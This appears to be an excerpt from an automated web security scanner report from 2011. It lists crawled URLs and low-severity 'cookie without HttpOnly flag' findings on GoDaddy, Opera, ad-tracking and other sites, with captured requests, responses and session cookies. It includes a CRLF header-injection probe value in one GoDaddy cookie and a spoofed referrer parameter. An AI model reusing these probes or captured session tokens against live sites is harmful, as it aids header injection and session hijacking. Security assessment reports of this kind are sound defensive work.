http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html
http://go.icontact.com/SEM/AP/home-20J6-17231V.html
http://ib.mookie1.com/image.sbix
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
http://landing.sendgrid.com/smtp-with-bullet-points/
http://livechat.iadvize.com/chat_init.js
http://livechat.iadvize.com/rpc/referrer.php
http://load.exelator.com/load/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
http://p.brilig.com/contact/bct
http://pixel.quantserve.com/seg/r
http://pixel.rubiconproject.com/tap.php
http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css
http://rover.ebay.com/ar/1/711-53200-19255-108/1
http://s.amazon-cornerstone.com/iui3
http://t.tellapart.com/hif
http://t.tellapart.com/tpv
http://t5.trackalyzer.com/trackalyze.asp
http://tags.bluekai.com/site/2731
http://thefavicongallery.com/h/u/hugi.is.ico
http://tracking.waterfrontmedia.com/GCScript.ashx
http://united-business-media-plc.production.investis.com/en/stylesheets/~/media/Images/U/United-Business-Media-Plc/Images/css/footer-link-sep.jpg
http://www.blackbaud.com/
http://www.drugstore.com/
http://www.drugstore.com/LookAheadSuggestions.aspx
http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp
http://www.drugstore.com/search/search_results.asp
http://www.godaddy.com/
http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx
http://www.godaddy.com/Domains/Controls/JsonContent/generalPricing.aspx
http://www.godaddy.com/domains/search.aspx
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals.aspx
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.godaddy.com/productadvisor/productadvisor.aspx
http://www.googleadservices.com/pagead/aclk
http://www.jangosmtp.com/Free-Account.asp
https://www.jangosmtp.com/login.asp
http://www.opera.com/company/
http://www.ubm.com/en/javascripts/cache.js
http://www.ubm.com/en/javascripts/gatag.js
http://www.ubm.com/en/javascripts/menu.js
http://www.ubm.com/en/javascripts/search-box.js
http://www.ubm.com/en/javascripts/sifr3.js
http://www.ubm.com/en/javascripts/snapdown.js
http://www.ubm.com/en/javascripts/snapwithinsnap.js
http://www.ubm.com/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/content/logo.png
http://www.ubm.com/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/css/favicon.jpg
http://www.ubm.com/javascripts/gatag.js
http://www.ubm.com/javascripts/sitecatalyst.js

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

11.1. http://ads.adxpose.com/ads/ads.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://ads.adxpose.com
Path:	/ads/ads.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=B5098A49587B3A6D5F19777D607A999A; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ads/ads.js?uid=TVYMYp4lQTRs9JsS_40691941 HTTP/1.1
Host: ads.adxpose.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ec39c893-8f48-41a8-9b1f-be5afaba100a

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B5098A49587B3A6D5F19777D607A999A; Path=/
ETag: "20773-gzip"
Cache-Control: must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Fri, 16 Sep 2011 16:24:55 GMT
Connection: close

if(typeof __ADXPOSE_CONTAINERS__==="undefined"){__ADXPOSE_CONTAINERS__={}}if(typeof __ADXPOSE_EVENT_QUEUES__==="undefined"){__ADXPOSE_EVENT_QUEUES__={}}if(typeof __adxpose__getOffset__==="undefined"){
...[SNIP]...

11.2. https://email.secureserver.net/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://email.secureserver.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=d25fc93ae88ce9e1cd32f84099433d38; path=/; domain=email.secureserver.net

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.3. http://event.adxpose.com/event.flow previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=2076FD0E24E3F3A4C9EF9E52B2F34912; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /event.flow?eventcode=000_000_12&location=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-3796773913386149%26output%3Dhtml%26h%3D250%26slotname%3D1161958565%26w%3D300%26lmt%3D1316226341%26flash%3D10.3.183%26url%3Dhttp%253A%252F%252Fportal.opera.com%252Fportal%252Ftabs%252F%253Ftab_name%253DNews%26dt%3D1316208341657%26bpp%3D148%26shv%3Dr20110907%26jsv%3Dr20110914%26correlator%3D1316208341881%26frm%3D4%26adk%3D265923585%26ga_vid%3D1095286181.1316208009%26ga_sid%3D1316208009%26ga_hid%3D320694430%26ga_fc%3D1%26u_tz%3D-300%26u_his%3D2%26u_java%3D1%26u_h%3D1200%26u_w%3D1920%26u_ah%3D1156%26u_aw%3D1920%26u_cd%3D16%26u_nplug%3D20%26u_nmime%3D100%26dff%3Darial%26dfs%3D12%26adx%3D739%26ady%3D181%26biw%3D1131%26bih%3D870%26eid%3D36887102%26ref%3Dhttp%253A%252F%252Fportal.opera.com%252F%26prodhost%3Dgoogleads.g.doubleclick.net%26fu%3D0%26ifi%3D1%26dtd%3D240%26xpc%3DNxfq0ro1Gs%26p%3Dhttp%253A%2F%2Fportal.opera.com&uid=TVYMYp4lQTRs9JsS_40691941&xy=0%2C0&wh=300%2C250&vchannel=59371577&cid=3941858&iad=1316208343619-68901827069930740&cookieenabled=1&screenwh=1920%2C1200&adwh=300%2C250&colordepth=16&flash=10.3&iframed=1 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ec39c893-8f48-41a8-9b1f-be5afaba100a

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2076FD0E24E3F3A4C9EF9E52B2F34912; Path=/
Cache-Control: no-store
Content-Type: text/javascript;charset=UTF-8
Content-Length: 106
Date: Fri, 16 Sep 2011 16:24:54 GMT
Connection: close

if (typeof __ADXPOSE_EVENT_QUEUES__ !== "undefined") __ADXPOSE_DRAIN_QUEUE__("TVYMYp4lQTRs9JsS_40691941");

11.4. http://img.godaddy.com/image.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://img.godaddy.com
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

fb_session=d0d8de1ca73e3dfc7228ecbe&S_TOUCH=09/16/2011 18:07:20&pathway=c300561b-e09a-4c96-8e0e-ac74afbb6017; path=/
actioncount=d0d8de1c964083c62476d317; domain=.godaddy.com; path=/
fb_actioncount=d0d8de1c3e2452299539dc20; path=/
app_pathway=d0d8de1c713e614c609a8053; domain=.godaddy.com; path=/
visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:20 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.5. http://img.godaddy.com/image.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://img.godaddy.com
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

fb_session=S_TOUCH=09/16/2011 18:07:39&pathway=2a590ae0-0ee8-47bd-8061-af016da64611&V_DATE=09/16/2011 11:07:19; path=/
isc=d0d8de1c8075e63937e1be01; domain=.godaddy.com; path=/
visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:39 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.6. http://img.godaddy.com/pageevents.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://img.godaddy.com
Path:	/pageevents.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

fb_session=S_TOUCH=09/16/2011 18:06:35&pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5&V_DATE=09/16/2011 11:05:34; path=/
isc=eebc2%0d%0a0acfdd19135; domain=.godaddy.com; path=/
visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:08:29 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.7. http://img.secureserver.net/image.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://img.secureserver.net
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

fb_session=S_TOUCH=09/16/2011 18:09:35&pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b&V_DATE=09/16/2011 11:09:35; path=/
pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; path=/
visitor=vid=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; expires=Sat, 15-Sep-2012 18:09:35 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.8. http://mct.rkdms.com/sid.gif previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://mct.rkdms.com
Path:	/sid.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessionid=h-1fe0eb546ed368ebf937b670b69487dc_t-1316190637; domain=.rkdms.com; path=/; expires=Sat, 15-Sep-2012 16:30:37 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.9. http://portal.opera.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://portal.opera.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:19:20 GMT; Max-Age=31449600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: portal.opera.com
Proxy-Connection: keep-alive
Referer: http://www.opera.com/company/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/

Response

11.10. http://portal.opera.com/portal/tabs/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://portal.opera.com
Path:	/portal/tabs/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:24:54 GMT; Max-Age=31449600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /portal/tabs/?tab_name=News HTTP/1.1
Host: portal.opera.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; csrftoken=838dab485752a3df29256e939fd2d3cb; opal_sessionid=46086d7992e13cfe7e9bdef9bd665ed5; __utma=258618251.1095286181.1316208009.1316208009.1316208009.1; __utmb=258618251.1.10.1316208016; __utmc=258618251; __utmz=258618251.1316208016.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

11.11. https://portal.opera.com/accounts/login/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://portal.opera.com
Path:	/accounts/login/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:25:28 GMT; Max-Age=31449600; Path=/
opal_sessionid=46086d7992e13cfe7e9bdef9bd665ed5; expires=Fri, 30-Sep-2011 16:25:28 GMT; Max-Age=1209600; Path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.12. http://tracking.searchmarketing.com/welcome.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://tracking.searchmarketing.com
Path:	/welcome.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQQTQTQTR=MKBNBMLBEPHLKEDKBIMJKOBF; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /welcome.asp?SMCID=319&x=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: tracking.searchmarketing.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: SM=GUID=65fdbe0d%2Debde%2D4c6a%2Dad4b%2De3f3832a70c5&AID=&LastVisitDate=9%2F6%2F2011+2%3A58%3A45+PM&SMCID=13000392

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:30:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Content-Length: 49
Content-Type: image/GIF
Set-Cookie: ASPSESSIONIDQQTQTQTR=MKBNBMLBEPHLKEDKBIMJKOBF; path=/
Cache-control: private

GIF89a...................!.......,...........T..;

11.13. http://www.amazon.com/gp/loader/jsonp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/gp/loader/jsonp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
session-id=188-7348060-9795407; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
ubid-main=189-8322294-4852542; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.14. http://www.conversionruler.com/bin/tracker.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.conversionruler.com
Path:	/bin/tracker.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CRSess_1195=6a7cf94741d3046519a9a835b2c68438; expires=Fri, 16-Sep-2011 15:58:09 GMT; path=/
settings1195=a24033a9a7ec9efdebbabf5e0595a819; expires=Wed, 14-Sep-2016 15:28:09 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /bin/tracker.php?siteid=1195&actn=2&refb=http%3A//www.port25.com/&referer=http%3A//www.port25.com/products/prod_pmta4_features.html&ti=Port25%3A%20PowerMTA%3A%20Intelligent%20Outbound%20E-mail%20Gateway&l=en-US&sc=1920x1200-16&j=1&ct=B9GFSj&gmto=300&v=3614&isjs=1&_r=undefined HTTP/1.1
Host: www.conversionruler.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_pmta4_features.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: crct=1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:08 GMT
Server: Apache/2.2.11 (FreeBSD)
Set-Cookie: settings1195=a24033a9a7ec9efdebbabf5e0595a819; expires=Wed, 14-Sep-2016 15:28:09 GMT; path=/
Set-Cookie: CRSess_1195=6a7cf94741d3046519a9a835b2c68438; expires=Fri, 16-Sep-2011 15:58:09 GMT; path=/
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 50
Connection: close
Content-Type: text/javascript

if (window.CRX) window.CRX++; else window.CRX = 1;

11.15. http://www.ubmlive.com/image/image_gallery previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.ubmlive.com
Path:	/image/image_gallery

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=17F97FC6E17B6C0CEC879DD9BBEDBD99; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /image/image_gallery?uuid=70f2ac69-5c75-4ff4-a6ea-14052c505915&groupId=1482687&t=1302000071949 HTTP/1.1
Host: www.ubmlive.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:58 GMT
Server: Apache
Set-Cookie: JSESSIONID=17F97FC6E17B6C0CEC879DD9BBEDBD99; Path=/
Expires: Mon, 13 Sep 2021 16:11:32 UTC
Last-Modified: Wed, 04 May 2011 09:39:22 GMT
Content-Length: 147
Content-Type: image/png

.PNG
.
...IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...5IDATx.b....} N`...#.~ v........>.0....L...)V.t$^o.....gx;.1......IEND.B`.

11.16. http://ad.yieldmanager.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/pixel

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bh="b!!!#v!!-C,!!!!%=3`c_!!-G2!!!!%=5$1G!!-O3!!!!#=3G@^!!0)q!!!!%=3v6(!!18B!!!!#=3h8[!!1CB!!!!#=3_%L!!1CD!!!!#=4-9i!!2R$!!!!#=3f8d!!346!!!!#=3f8q!!3:c!!!!$=3r-A!!3?X!!!!#=3f8a!!3O?!!!!%=3`c_!!3ba!!!!%=3_*]!!4BO!!!!#=3f8o!!4dM!!!!$=3f8l!!4e4!!!!#=3f8s!!Os7!!!!#=3G@^!!VQ'!!!!#=3f8V!!WMT!!!!$=3f8f!!`4u!!!!$=54Pi!!`4x!!!!%=3]i_!!i9U!!!!'=3O-Q!!iOo!!!!%=3^]5!!jBx!!!!#=2srH!!pf4!!!!%=3`c_!!qu+!!!!#=4-9i!!sXC!!!!#=3f:p!!srh!!!!$=3i!G!!t^6!!!!+=3r-9!!t^G!!!!%=3v6I!!t^K!!!!#=3v6.!!u*$!!!!#=43nV!!xX+!!!!$=4)V$!!x^1!!!!$=5,??!!y)?!!!!#=3*$x!##!)!!!!$=5#lv!#%v(!!!!#=3*$x!#+s_!!!!#=3h8[!#+sb!!!!#=3h8[!#.dO!!!!%=3H5P!#0Db!!!!#=3*$x!#0Kr!!!!(=3MuQ!#2Gj!!!!%=3`c_!#2Rm!!!!#=3*$x!#4-m!!!!'=3v6J!#4-n!!!!#=3v6/!#6]*!!!!$=5#lv!#7wf!!!!#=51w'!#8.'!!!!#=4-9m!#83a!!!!#=3*$x!#83b!!!!#=35g_!#8?7!!!!#=4-9i!#8TD!!!!#=3*$x!#9Dw!!!!+=4-5/!#:@G!!!!%=3f=d!#?LQ!!!!'=3[HX!#Fw`!!!!'=3[HX!#Ic1!!!!#=4-9j!#N[5!!!!#=3!ea!#Q*T!!!!%=3H5P!#Q/x!!!!#=5,(/!#Q]:!!!!#=4YXv!#Q_h!!!!$=3gb9!#QoI!!!!#=5,',!#SCj!!!!%=3H5P!#SCk!!!!%=3H5P!#T<,!!!!$=5,??!#UD`!!!!$=3**U!#UL(!!!!#=5$1H!#WZE!!!!#=3*$x!#YCf!!!!#=35g_!#Z8E!!!!#=3G@^!#`WU!!!!#=3_(1!#aG>!!!!%=3H5P!#bw^!!!!#=3G@^!#dCX!!!!#=3O-J!#e/A!!!!#=4-8P!#eAL!!!!$=4X0s!#eCK!!!!$=4X0s!#eP^!!!!#=3*$x!#fBj!!!!#=3G@^!#fBk!!!!#=3G@^!#fBl!!!!#=3G@^!#fBm!!!!#=3G@^!#fBn!!!!#=3G@^!#fG+!!!!#=3G@^!#fvy!!!!#=3H3j!#gbm!!!!#=4O@H!#gc/!!!!#=4O>^!#k[]!!!!#=3!ea!#k[_!!!!#=35g_!#qMq!!!!#=3GDG!#qq%!!!!#=4jf'!#rJ!!!!!#=3r#L!#tou!!!!#=4-B-!#tp-!!!!#=4-Bu!#uEh!!!!$=3Msq!#uQD!!!!#=3_%L!#uQG!!!!#=3_%L!#ust!!!!%=3H5P!#usu!!!!%=3H5P!#v-#!!!!#=3*$x!#v5N!!!!$=5#lm!#wW9!!!!%=3H5P!#yM#!!!!%=3H5P!$#WA!!!!%=3H5P!$%,!!!!!%=3H5P!$%SB!!!!%=3H5P!$%sF!!!!#=3!ea!$%sH!!!!#=35g_!$%uX!!!!#=35g_!$%vg!!!!#=3!ea!$%vi!!!!#=35g_!$'.I!!!!$=5$1G!$'.K!!!!#=5$1G!$(!P!!!!#=3G@^!$(aZ!!!!#=3M1/!$)gB!!!!#=3*$x!$*9h!!!!#=35g_!$*NG!!!!#=3_%M!$*a0!!!!%=3H5P!$*iP!!!!#=3_(3!$+2e!!!!#=3!ea!$+2h!!!!#=35g_!$+fh!!!!#=3f*7!$+fl!!!!#=3f+$!$,0h!!!!%=3H5P!$,jv!!!!#=3!ea!$-`?!!!!#=4jeq!$-p1!!!!#=3f8c!$.+#!!!!#=4)S`!$.TJ!!!!#=3!ea!$.TK!!!!#=35g_!$.U`!!!!#=4+!r!$.YJ!!!!#=3v7G!$.YW!!!!#=3v7G!$0Ge!!!!(=3MuS!$1:.!!!!#=3!ea!$1NN!!!!#=3[H:!$1N`!!!!$=3[H0!$1P-!!!!$=3[H0!$1PB!!!!#=3[H:!$1QB!!!!#=3[HX!$2::!!!!#=3[HX!$2j$!!!!%=3H5P!$3Dm!!!!#=3*4J!$3IO!!!!#=3G@^!$3y-!!!!)=4_L-!$4ou!!!!%=3H5P!$6$J!!!!#=3i:D!$6$M!!!!#=3i:C!$7w'!!!!#=3*4K!$9_!!!!!#=3!ea!$:3]!!!!#=3!ea!$:jo!!!!%=5,9,!$<DI!!!!#=3G@^!$<Rh!!!!#=5$$X!$=X=!!!!#=3H3a!$=p7!!!!%=3H5P!$=p8!!!!%=3H5P!$=s9!!!!%=4F,0!$>#M!!!!%=3H5P!$>#N!!!!%=3H5P!$>ox!!!!$=3_*_!$?1O!!!!%=3rvQ!$?i5!!!!%=3`c_"; path=/; expires=Sun, 15-Sep-2013 18:08:28 GMT
BX=ei08qcd75vc4d&b=3&s=8s&t=246; path=/; expires=Tue, 19-Jan-2038 03:14:07 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pixel?id=427800&t=2 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
